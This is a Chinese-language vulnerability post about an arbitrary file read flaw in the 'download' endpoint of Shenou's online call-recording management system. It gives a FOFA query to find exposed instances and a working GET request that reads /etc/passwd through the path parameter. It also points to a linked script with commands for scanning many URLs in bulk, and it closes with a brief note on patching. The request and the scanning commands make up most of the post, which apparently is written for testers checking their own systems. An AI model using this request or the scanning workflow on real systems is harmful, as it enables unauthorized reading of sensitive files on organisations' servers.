申瓯在线录音管理系统 download 任意文件读取漏洞【附poc】

fofa

title="在线录音管理系统"

一、漏洞简述

电话录音系统使用最新数字电子技术，辅以现今为止最先进的电脑及Windows软件所设计完成的一套整合性系统，它可以同时对多路电话通话进行录音、监控和查询。电话录音系统专业、成熟稳定、性价比极高，已在各大机场、海关、证券公司、保险公司、电力局、 公安局、医院、学校、工商、法院、电信、政府、军队等大面积应用。电话录音系统安装简单、维护量极小，客户用得省心、放心。其接口download存在任意文件读取漏洞，攻击者可通过该漏洞获取系统敏感信息。

二、漏洞检测poc

windows

GET /main/download?path=/etc/passwd HTTP/1.1Host: x.x.x.xUser-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36

三、漏洞检测脚本

安全测试人员可通过该脚本进行探测自身服务是否存在此漏洞：

https://github.com/ATonysan/poc-exp/blob/main/shenoucom_download_ArbitrarayFileRead.py

批量检测:

python shenoucom_download_ArbitrarayFileRead.py -f url.txt

单个url检测漏洞:

python shenoucom_download_ArbitrarayFileRead.pyy -u url

四、修复

官方已更新补丁，请升级至最新版本。

官网地址：https://www.shenoucom.com/